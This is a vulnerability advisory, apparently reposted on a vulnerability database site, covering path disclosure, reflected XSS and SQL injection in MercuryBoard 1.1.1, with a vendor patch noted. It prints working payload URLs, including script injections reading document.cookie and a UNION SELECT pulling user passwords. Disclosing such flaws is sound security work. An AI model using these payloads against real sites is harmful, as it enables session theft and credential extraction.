`*************************************************************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MercuryBoard 1.1.1
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MercuryBoard 1.1.1
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
*************************************************************
--) Software Page (www.mercuryboard.com)
"MercuryBoard is a powerful message board system dedicated to raw speed with a mixture of
features, ease of use, and ease of customization coupled with expandability, and diverse
language services." Note that is write in PHP OOP.
--) Full Path Disclosure
Let's look at original code from global.php line 604:
<?
...
// some base variables
$current = ceil($min / $num);
$string = null;
$pages = ceil($rows / $num);
$end = ($pages - 1) * $num;
...
?>
As we can see there isn't a control to $num and so if we simply assign to $num the value 0
(or a not numerical argument), there will be an impossible division by zero that show the
full path:
http://www.sitewithmercuryboard.com/index.php?a=forum&f=2&min=0&n=0
Other Full Path Disclosure:
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_bar.php
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_log.php
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_polar.php
http://www.sitewithmercuryboard.com/admincp/admin.php
http://www.sitewithmercuryboard.com/func/[file] <--- All the PHP file in the dyrectory:
active.php board.php constants.php cp.php
debug.php email.php forum.php help.php login.php
members.php mod.php pm.php post.php printer.php
profile.php register.php search.php topic.php
--) Cross-Site Scripting (XSS)
Let's look at original code from /func/pm.php line 36:
<?
...
if (!isset($this->get['s'])) {
$this->get['s'] = null;
}
switch($this->get['s'])
{
case 'send':
return $this->send();
break;
case 'view':
return $this->view();
break;
case 'delete':
return $this->delete_pm();
break;
case 'clear':
return $this->clear();
break;
default:
return $this->folder();
break;
}
...
?>
As we can see there is a switch/case cycle to get 's' but in this cycle there isn't any
check if we put other parameter with 's', like this XSS code:
http://www.sitewithmercuryboard.com/index.php?a=pm&s='><script>alert(document.cookie)</script>
Let's look again at original code from /func/members.php line 35:
<?
...
if (!isset($this->get['l'])) {
$this->get['l'] = null;
} else {
$this->get['l'] = strtoupper($this->get['l']);
}
...
?>
As we can see, also in this case, there isn't parsing methods for the processing of 'l',
so nothing can prevent us from doing an XSS attack:
http://www.sitewithmercuryboard.com/index.php?a=members&l='><script>alert(document.cookie)</script>
Other Cross-Site Scripting:
http://www.sitewithmercuryboard.com/index.php?a='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.sitewithmercuryboard.com/index.php?a=cp&s='><script>alert(document.cookie)</script>
--) SQL Injection
For the same reason because it's possible to execute the XSS codes described before, it's
also possible to do SQL Injection attacks. But in this case it's a non-critical bug, why?
Because we need first login as forum administrator to make successful attack. For example:
http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*
With the URL before we get, for the just described reason, an error like this (verified
only on MercuryBoard 1.1.0):
The used SELECT statements have a different number of columns
--) Patch
After the report to developer of the board of these bugs, they released the version 1.1.2
of MercuryBoard that correct them: http://www.mercuryboard.com/index.php?a=downloads
*************************************************************
http://www.codebug.org
*************************************************************`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation